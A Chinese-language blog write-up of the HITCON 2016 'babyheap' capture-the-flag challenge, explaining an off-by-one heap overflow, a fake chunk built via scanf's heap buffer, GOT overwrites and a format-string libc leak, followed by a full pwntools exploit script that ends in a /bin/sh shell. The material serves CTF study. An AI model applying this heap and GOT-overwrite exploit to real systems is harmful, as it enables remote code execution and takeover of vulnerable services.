hitcon 2016 babyheap 笔记

拿到这道题的时候是一脸懵逼的,完全没有思路,于是在参考大佬的wp之后自己照着调了一个下午才明白这道题是怎么回事。

首先看看这道题的提示:

Heap so fun! Baby, don’t do it first. nc 52.68.77.85 8731

note : the service is running on ubuntu 16.04

emmmm,对我这种什么都不懂的人似乎并不能获得什么有用的信息。

然后又看这个程序:

这个地方肯定是有问题的,因为使用了很不符合常规的逻辑。

而在读取字符的时候存在一个溢出:

这个溢出可以让下一个数据的低位为0。

所以申请chunk的时候就能让buffer的地址指向chunk之前的地址,这样就可以覆盖到chunk了,但是只有一次edit的机会,所以还是要配合其他的漏洞来利用。

这里就需要之前的不符合逻辑的地方登场了,ubuntu 16.04中,scanf会将没有录完的数据放在堆上,所以我们就可以利用scanf申请一个空间来伪造chunk的头部,方便我们释放chunk,之后再申请的时候可以录入数据来覆盖掉buffer,就可以得到一次任意地址写的机会。

这是申请之后的内存布局,可以看到chunk中的buffer地址已经变成了0x17bc00

我们可以通过scanf申请的堆来伪造chunk的头部

这样释放之后再申请的话,buffer的地址就是0x17bbff0了,这时候就可以构造覆盖buffer的输入。

这一次写的机会可以用来覆盖got表,把exit覆盖成一个直接ret的地址,这样就可以多次edit了,但是只有这还不够,于是可以顺便把atoi的地址写成printf的地址,就可以利用选项来进行格式化字符串攻击,以此来leak libc的地址。

leak之后我们算出system的地址,再覆盖一遍got表,最后输入’/bin/sh’就可以拿到shell了

exp(后半部分抄了很多,我有罪):

from pwn import *

p = process('./babyheap_bb488b64300c18a3cd7c60ec1deac79cddb1327b',
            env={'LD_PRELOAD':'/root/Desktop/pwnable/0ctff2017/babyheap/libc.so.6_375198810bb39e6593a968fcbcf6556789026743'})
elf = ELF('babyheap_bb488b64300c18a3cd7c60ec1deac79cddb1327b')
libc = ELF('libc.so.6_375198810bb39e6593a968fcbcf6556789026743')


def launch_gdb():
    context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
    gdb.attach(proc.pidof(p)[0])


header = p64(0) + p64(0x81)
header = header*2
chunk1 = 'n' + '\x00' * (0x1000 - 1 - len(header)) + header
log.info('chunk length = ' + str(len(chunk1)))

# exit
p.sendline('4')
p.recvuntil('Really? (Y/n)')
p.send(chunk1)
p.recvuntil('Your choice:')


# new
p.sendline('1')
p.recvuntil('Size :')
p.sendline(str(0x80))
p.recvuntil('Content:')
p.send(p64(0x81)*0x10)  #next size
p.recvuntil('Name:')
p.sendline('a'*8)
p.recvuntil('Done!')


# delete
p.sendline('2')
p.recvuntil('Your choice:')

# new

p.sendline('1')
p.recvuntil('Size :')
p.sendline(str(0x70))
p.recvuntil('Content:')
p.send('a'*0x20 + p64(0x80) + 'a'*8 + p64(elf.got['_exit']))
p.recvuntil('Name:')
p.send('a'*4)
p.recvuntil('Done!')


payload = p64(0x400c9d)  # _exit: ret
payload += p64(elf.plt['read'] + 6)  # __read_chk: read
payload += p64(elf.plt['puts'] + 6)  # puts
payload += p64(0)  # stack_chk_fail doesn't matter
payload += p64(elf.plt['printf'] + 6)  # printf
payload += p64(0)  # alarm: doesn't matter
payload += p64(elf.plt['read'] + 6)  # read: read, we need this
payload += p64(0)  # __libc_start_main: doens't matter
payload += p64(0)  # signal doesn't matter
payload += p64(0)  # malloc, doesn't matter, we don't need new now
payload += p64(0)  # setvbuf, doesn't matter
payload += p64(elf.plt['printf'] + 6)  # atoi: printf, truly important
p.sendline('3')
p.recvuntil('Content:')
p.send(payload)
p.recvuntil('Done!')


p.send("aa%9$spp" + p64(elf.got['free']))
p.recvuntil('aa')
free_leak = p.recvuntil('pp').replace('pp','')
temp = free_leak.ljust(8, '\x00')
log.info(temp)
free_leak = u64(temp)
log.info(hex(free_leak))
libc_base = free_leak - libc.symbols['free']
log.info("libc base:" + hex(libc_base))

system_addr = libc_base + libc.symbols['system']


payload = p64(0x400c9d)  # _exit: ret
payload += p64(elf.plt['read'] + 6)  # __read_chk: read
payload += p64(elf.plt['puts'] + 6)  # puts
payload += p64(0)  # stack_chk_fail doesn't matter
payload += p64(elf.plt['printf'] + 6)  # printf
payload += p64(0)  # alarm: doesn't matter
payload += p64(elf.plt['read'] + 6)  # read: read, we need this
payload += p64(0)  # __libc_start_main: doens't matter
payload += p64(0)  # signal doesn't matter
payload += p64(0)  # malloc, doesn't matter, we don't need new now
payload += p64(0)  # setvbuf, doesn't matter
payload += p64(system_addr)  # atoi, change to system function

p.send('xxx')
p.recvuntil('Content:')
p.send(payload)
p.recvuntil('Done!')

p.send('/bin/sh\x00')


p.interactive()

最后不得不说一下,这道题需要的基础知识和脑洞都特别多,首先是scanf的内部实现要清楚,还有就是要想到利用格式化字符串来leak信息,不得不说,这道题出的真的很厉害。

3 thoughts on “hitcon 2016 babyheap 笔记

  1. 大佬,我写的 p=process(“./babyheap”,env={LD_PRELOAD”:”/home/libc.so.6}为什么总是一运行就退出呀。网上说的是可以用LD_PRELOAD替换动态链接库,还有什么其他操作吗。

发表评论

电子邮件地址不会被公开。 必填项已用*标注